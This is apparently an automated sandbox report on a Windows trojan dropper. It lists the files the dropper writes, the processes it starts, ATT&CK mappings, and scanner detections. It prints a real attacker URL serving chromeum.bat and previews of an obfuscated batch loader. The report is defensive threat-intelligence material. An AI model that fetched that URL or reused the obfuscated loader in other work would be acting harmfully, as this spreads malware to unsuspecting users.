Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\gentee72\guig.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\gentee72\ssleay32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\genteert.dll	Jump to dropped file

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed

Source: C:\Users\user\Desktop\BWuMwnE7tw.exe

Code function: 0_2_100059A0 FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,

0_2_100059A0

Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini	Jump to behavior

Source: BWuMwnE7tw.exe, 00000000.00000003.2089161320.000000000086A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll&kM

Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	API call chain: ExitProcess graph end node			graph_0-3656
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	API call chain: ExitProcess graph end node			graph_0-3670

Source: C:\Users\user\Desktop\BWuMwnE7tw.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\gentee72\chromeum.bat""	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c deldll.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 2 -w 1000 127.0.0.1	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Software Packing	Security Account Manager	1 Remote System Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	3 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
BWuMwnE7tw.exe	23%	Virustotal		Browse
BWuMwnE7tw.exe	22%	ReversingLabs	Win32.Trojan.Generic
BWuMwnE7tw.exe	100%	Avira	TR/Dropper.Gen

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\gentee72\guig.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\gentee72\guig.dll	1%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\gentee72\libeay32.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\gentee72\ssleay32.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\genteert.dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://82.115.223.189/chromeum.bat	0%	Avira URL Cloud	safe
http://82.115.223.189/chromeum.bat#tempinstpath#chromeum.bat0	0%	Avira URL Cloud	safe
http://www.gentee.comB	0%	Avira URL Cloud	safe
http://82.115.223.189/chromeum.bat	2%	Virustotal		Browse
http://82.115.223.189/chromeum.bat#tempinstpath#chromeum.bat0	2%	Virustotal		Browse

Name	Source	Malicious	Antivirus Detection	Reputation
http://repository.certum.pl/ctnca.cer09	BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	false		high
http://repository.certum.pl/cscasha2.cer0	BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	false		high
http://www.gentee.comB	BWuMwnE7tw.exe, 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmp, genteert.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://82.115.223.189/chromeum.bat#tempinstpath#chromeum.bat0	BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111136503.000000000259F000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110378123.00000000021CB000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.certum.pl/ctnca.crl0k	BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	false		high
http://ocsp.thawte.com0	BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	false		high
http://subca.ocsp-certum.com01	BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	false		high
http://82.115.223.189/chromeum.bat	BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111136503.000000000259F000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110378123.00000000021CB000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.certum.pl/CPS0	BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	false		high
http://www.openssl.org/f	BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	false		high
http://crl.certum.pl/cscasha2.crl0q	BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	false		high
http://www.certum.pl/CPS0	BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	false		high
http://cscasha2.ocsp-certum.com04	BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	false		high
http://www.openssl.org/support/faq.html	libeay32.dll.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
82.115.223.189	unknown	Russian Federation		209821	MIDNET-ASTK-TelecomRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559092
Start date and time:	2024-11-20 07:47:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	BWuMwnE7tw.exe renamed because original name is a hash value
Original Sample Name:	bc9e4510fe172f8155d02b28ab79da83.exe
Detection:	MAL
Classification:	mal68.troj.evad.winEXE@10/8@0/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 16 Number of non-executed functions: 12
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
82.115.223.189	file.exe	Get hash	malicious	Unknown	Browse	82.115.223.189/chromeum.exe
82.115.223.189	file.exe	Get hash	malicious	Unknown	Browse	82.115.223.189/chromeum.exe

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MIDNET-ASTK-TelecomRU	file.exe	Get hash	malicious	Unknown	Browse	82.115.223.189
	file.exe	Get hash	malicious	Unknown	Browse	82.115.223.189
	file.exe	Get hash	malicious	Clipboard Hijacker	Browse	82.115.223.222
	PhysXCooking64.dll.dll	Get hash	malicious	Bazar Loader	Browse	82.115.223.39
	FW3x3p4eZ5.msi	Get hash	malicious	Bazar Loader, BruteRatel	Browse	82.115.223.39
	PhysXCooking64.dll.dll	Get hash	malicious	Bazar Loader, BruteRatel	Browse	82.115.223.39
	Document-19-36-27.js	Get hash	malicious	Unknown	Browse	82.115.223.150
	meliwe_gown_x64.dll.dll	Get hash	malicious	Unknown	Browse	82.115.223.150
	Document-19-36-27.js	Get hash	malicious	Unknown	Browse	82.115.223.150
	Document-19-29-20.js	Get hash	malicious	Unknown	Browse	82.115.223.150

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\gentee72\guig.dll	2GAcJejuxn.exe	Get hash	malicious	DCRat, PureLog Stealer, RedLine, zgRAT	Browse
	WinRxPharmacyV9Install.exe	Get hash	malicious	Unknown	Browse
	2_CommonDLLs.exe	Get hash	malicious	Unknown	Browse
	P82sELZT1T.exe	Get hash	malicious	Unknown	Browse
	tdCIOK6xpK.exe	Get hash	malicious	Unknown	Browse
	Ac372JNTO6.exe	Get hash	malicious	Amadey	Browse
	setup.exe	Get hash	malicious	Unknown	Browse
	70tFZjVOrw.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\deldll.bat

Download File

Process:	C:\Users\user\Desktop\BWuMwnE7tw.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	200
Entropy (8bit):	4.754018559611602
Encrypted:	false
SSDEEP:	6:hE+skFE8FomBLJrRXlBL79LRLbk3YYUvOxEY:NfE8Fp9JFXl97ptbk3Y9VY
MD5:	EA190EF9B139757A890CD48BDD44B0EE
SHA1:	95C684E41BF7919408816AAFAB881621FFACE202
SHA-256:	9131DE0FCAAF968896AF9D58B6F37B4AA443455BB97C97BC142F295CEE577BC4
SHA-512:	22802FFC1965C8E27F799EE88E3FA46DEBB316C27507A570B0812BC5DE0D59A9C2A2105B8CC204851B3C29984EF1DFB7842131819952B185B7E4325A032FB6AD
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@echo off..for /L %%i in (1,1,10) do (..del "genteert.dll"..if not exist "genteert.dll" goto finish..ping -n 2 -w 1000 127.0.0.1 >nul \|\| ping -n 2 -w 1000 ::1 >nul..)..:finish..del "deldll.bat"..cls..

C:\Users\user\AppData\Local\Temp\gentee72\chromeum.bat

Download File

Process:	C:\Users\user\Desktop\BWuMwnE7tw.exe
File Type:	Unicode text, UTF-8 text, with very long lines (56071), with CRLF, CR line terminators
Category:	dropped
Size (bytes):	2190339
Entropy (8bit):	6.021542350846932
Encrypted:	false
SSDEEP:	24576:FtFgX2MgvZ6i/eezq+nc9/X9PlsZye7yJG6AGhzatAR6Jp0gP9OWEtGAnNgIFXPa:SsL/aLQA3G0Q9MGSFXDEHDsVtUkGX1
MD5:	1CEEA4737D17F32BC6C39986F199D43B
SHA1:	0214517A97BD62E0863003051F79D2D4B022E678
SHA-256:	8FC2246756B8C5356C4D29DFBB20F91817DE2EFEBE52C364198C9869A16C0C4D
SHA-512:	50DF7ACC09FFF11202A2425B27C0DBC61143572BF70856A18D27AFE6E8B7205C4B98559136A7A225D89A6CE96542830A404F12999935B26939BB4D28F7785C38
Malicious:	false
Reputation:	low
Preview:	@chcp 65001..set "........=ysWOW6"..:: Jnzonc Pvguy..:: Bsrdelbia..:: Gvfajja..set ".....=shell."..:: Ahoamcd Bobfbxfm Tjzbt..set "......=/h /i "..:: Xzpukutap Ruqydhcyy..:: Qqhngxyi Pmlqdm..set "........=erShel"..:: Sflvm Prchddtmg Hotqbm..:: Lmkxyoybblk Gaiihxqg..:: Fnypkjufs..set "......=C:\Win"..set "........=l\v1.0"..set "........=exe %~0.Ums"..:: Eigdqamp Ktiet..:: Amrbq Kbiydsbfckl Marfjmkz..set ".......=dows\S"..set ".........=echo F"..set ".....=owsPow"..:: Mgqgsqkguas Cigwe Awgjnkph..:: Hgpeve Btwfruhwduf Nmkjxf..:: Yjnkwndlris Qoogo..set "........=4\Wind"..:: Atculh Gtywekljz Fuvjtuiyqim..:: Kdkjzk Fyeuk Mdelaf..:: Qzray Yahzqjdgepw..:: Ddlvjco..set ".........=py /d "..:: Kabgrmw..:: Wtbewq Fwooc..:: Svcihas..set "........=/q /y "..set ".........=\power"..set ".........= \| xco"...%.........%%.........%%.........%%........%%...

C:\Users\user\AppData\Local\Temp\gentee72\guig.dll

Download File

Process:	C:\Users\user\Desktop\BWuMwnE7tw.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.6530623787829106
Encrypted:	false
SSDEEP:	192:mxonubPh9zJCEvCZj6beDKnYFRJvS/QwC3:tubPh9N6N6k3z
MD5:	D3F8C0334C19198A109E44D074DAC5FD
SHA1:	167716989A62B25E9FCF8E20D78E390A52E12077
SHA-256:	005C251C21D6A5BA1C3281E7B9F3B4F684D007E0C3486B34A545BB370D8420AA
SHA-512:	9C890E0AF5B20CE9DB4284E726EC0B05B2A9F18B909FB8E595EDF3348A8F0D07D5238D85446A09E72E4FAA2E2875BEB52742D312E5163F48DF4072B982801B51
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Joe Sandbox View:	Filename: 2GAcJejuxn.exe, Detection: malicious, Browse Filename: WinRxPharmacyV9Install.exe, Detection: malicious, Browse Filename: 2_CommonDLLs.exe, Detection: malicious, Browse Filename: P82sELZT1T.exe, Detection: malicious, Browse Filename: tdCIOK6xpK.exe, Detection: malicious, Browse Filename: Ac372JNTO6.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: 70tFZjVOrw.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......gOlP#...#...#...u1..&...#...'...#...b...A1.......1..*....1.. ...Rich#...................PE..L......U...........!.........0............... ...............................P.......................................'......h!...............................@..(.................................................... ..(............................text............................... ..`.rdata....... ....... ..............@..@.data........0.......0..............@....reloc.......@.......@..............@..B........................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gentee72\libeay32.dll

Download File

Process:	C:\Users\user\Desktop\BWuMwnE7tw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1471856
Entropy (8bit):	6.829825814674756
Encrypted:	false
SSDEEP:	24576:LPQ+KpP0zhZ3gSHIjkkAf9v5jPSG9LZs7Av4aS4nYIMc9moiYplUmwBvWZK/hH1b:8ogSLdehClSuELxumKWiP8fq5a1mpbkp
MD5:	EC8B923F28B999650F35F0DB6365081B
SHA1:	24082734657C431F7D5B457D0EBBEBBFADD94012
SHA-256:	C88CC0DB0B53652B804BB0C84CE6E8159B146D91BE799E0B1F9DE88C0D7CE0AB
SHA-512:	248E3515C44AA144399E3BFE16FBA6088CBB19578C45FE31EDB9959FA135CEB7E208399EE5AD5F88F24D36E8088268F27E67EC33CE45CB4049F1F9D0B2B0B407
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A.W.A.W.A.W.%.V.A.W.%.VeA.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.A.WUA.W.A.W.A.W2%.V.C.W2%.V.A.W2%.W.A.W2%.V.A.WRich.A.W................PE..L....$y]...........!.....v................................................................@..........................r......H*..x.......X............B..p3..........@e..............................`e..@............................................text....t.......v.................. ..`.rdata..............z..............@..@.data........@...j... ..............@....rsrc...X...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gentee72\setup_temp.gea

Download File

Process:	C:\Users\user\Desktop\BWuMwnE7tw.exe
File Type:	data
Category:	dropped
Size (bytes):	11371
Entropy (8bit):	7.965755736146497
Encrypted:	false
SSDEEP:	192:9KvwkHcJ1zM6fIWjw7uj8J0b1OrogqUK6+ny4v7D/87WC5WqpTo8d4wJvv:9Kv/C1zpfIWE7uOAOrofLXyA/wtbpUjk
MD5:	D3BA2B6818441516E2128E71B6BC7E15
SHA1:	A0475BBE6E30252C29FB9462711E015654E61CEF
SHA-256:	A43958682DFBE33FD4C2FD2771F735B087E61E40312108D3B5E8C6A64CF6DC31
SHA-512:	621BBD2B32118551480308CB674C919E70E6AE6B1E9B649A5CEF6C443332A57D6311F0DE6DE6970F81BBBF2B0A84D2B5DF9E15B7E9318D577319C2EF9216CCF6
Malicious:	false
Preview:	GEA...._.........9.............+..........k,..............k,.....................9..m...............lXV. ...english.lng.@..E.Gg.....................&.....default - 1.bmp.@.BQ.Gg....P......................install - 1.bmp..........W+D......D.A....).("...7.n....Ie.W..dy..g....G..\.Qy./Uv....n+.....Dx....;....`g...-....N.D8NP..M.U.20t...2.P...3.U.!^.AN..q.\.,)..BR.3z....=.U.M.[.,.0=.+UW\|..r.H(PIJ.V....y.Y........HPN(cW......\|O..q.a.x.rP.[......)..g#.?...ak.H.4a.......k.f...,....1bD.n.....J...Z..<j...n.2b...4.L.i..(p..7.XS)e...Vf3.....f.`.U.f$9........~v..$#.^"..:.;d..w<./.(.o...$h.\.`.w!..a...........M..........;........b....b.......#........im.....m......B..@A...........>N....:l.&.v..;.c#..l..~.......p.t.s>...W7.\....o}.N...$......'L...f.7.[...7U......\|.o..q....?'n......3..`........RRR221....RQ..Q..'...vz....C....dd$.....y..Z.o...yz.j.Z.YI....S.R..@._5....?.~.W.5......P'W.K....F....K.....r...T..M&Lj..o..9.....DN...n.^Q.B.{..g._].^..;..u

C:\Users\user\AppData\Local\Temp\gentee72\ssleay32.dll

Download File

Process:	C:\Users\user\Desktop\BWuMwnE7tw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	392048
Entropy (8bit):	6.542966608472866
Encrypted:	false
SSDEEP:	6144:yeIwnft+S34NVSTjMFR+oVbKQfbno1/1oz6i2EDSD4I+XdtQXGMiFcoOjAWcIhbu:yeIwnft+S34NVSTQD+oVbKQfrC/1ct26
MD5:	9097F59E266183424D5C66C14DFA92D9
SHA1:	BF5E7E18054CA03CEE3F161C9E989581C4A8A0D7
SHA-256:	7A8DF4A622C1DFB87E33B6FA8E9056AC64A65A91D9B15CAC1928ED2B40250BCD
SHA-512:	BB1A152C4FCBF3C187AE52541CF31F342D37311BEBB8CF29B0DB5A9868FC40F8AE0502E7A7D8363BEE758ACF1DAF440419FA301AF44F5D13624D4B7B43B034C0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../.v[N.%[N.%[N.%4.$QN.%4.$.N.%4.$IN.%4.$YN.%..$HN.%..$GN.%..$KN.%..$XN.%[N.%.O.%..$iN.%..$ZN.%.e%ZN.%..$ZN.%Rich[N.%........PE..L....$y]...........!.....8..........^7.......P......................................O^....@..........................6..<)..L_..<.......X...............p3.......3..@,..............................`,..@............P...............................text....7.......8.................. ..`.rdata..l....P.......<..............@..@.data....?...p...6...X..............@....rsrc...X...........................@..@.reloc...3.......4..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\genteert.dll

Download File

Process:	C:\Users\user\Desktop\BWuMwnE7tw.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	61440
Entropy (8bit):	5.391391128836901
Encrypted:	false
SSDEEP:	768:BVPbKk9022j0efXs6X8zqk3pT3oMapzxc7Ep+DnSIiacDwGpr1a:BVTK+022j0V6mqMozpzxcXOpwEr1
MD5:	6CE814FD1AD7AE07A9E462C26B3A0F69
SHA1:	15F440C2A8498A4EFE2D9BA0C6268FAB4FB8E0A7
SHA-256:	54C0DA1735BB1CB02B60C321DE938488345F8D1D26BF389C8CB2ACAD5D01B831
SHA-512:	E5CFF6BCB063635E5193209B94A9B2F5465F1C82394F23F50BD30BF0A2B117B209F5FCA5AA10A7912A94AD88711DCD490AA528A7202F09490ACD96CD640A3556
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]=\|..\...\...\...@...\...\..P\..{C...\...C..9\...Z...\...C...\..Rich.\..................PE..L.....FM...........!.........`.................................................................................................P....................................................................................................................text...t........................... ..`.rdata........... ..................@..@.data...\...........................@....rsrc...............................@..@.reloc.."...........................@..B................................................................................................................................................................................................................................................................................................................................................

\Device\Null

Download File

Process:	C:\Windows\SysWOW64\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	331
Entropy (8bit):	4.92149009030101
Encrypted:	false
SSDEEP:	6:PzLSLzMRfmWxHLThx2LThx0sW26VY7FwAFeMmvVOIHJFxMVlmJHaVFEG1vv:PKMRJpTeT0sBSAFSkIrxMVlmJHaVzvv
MD5:	2E512EE24AAB186D09E9A1F9B72A0569
SHA1:	C5BA2E0C0338FFEE13ED1FB6DA0CC9C000824B0B
SHA-256:	DB41050CA723A06D95B73FFBE40B32DE941F5EE474F129B2B33E91C67B72674F
SHA-512:	6B4487A088155E34FE5C642E1C3D46F63CB2DDD9E4092809CE6F3BEEFDEF0D1F8AA67F8E733EDE70B07F467ED5BB6F07104EEA4C1E7AC7E1A502A772F56F7DE9
Malicious:	false
Preview:	..Pinging 127.0.0.1 with 32 bytes of data:..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128....Ping statistics for 127.0.0.1:.. Packets: Sent = 2, Received = 2, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 0ms, Maximum = 0ms, Average = 0ms..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.979237372586947
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	BWuMwnE7tw.exe
File size:	962'644 bytes
MD5:	bc9e4510fe172f8155d02b28ab79da83
SHA1:	317b2bdf893072d9d5d1484d89ab590ec810b6c4
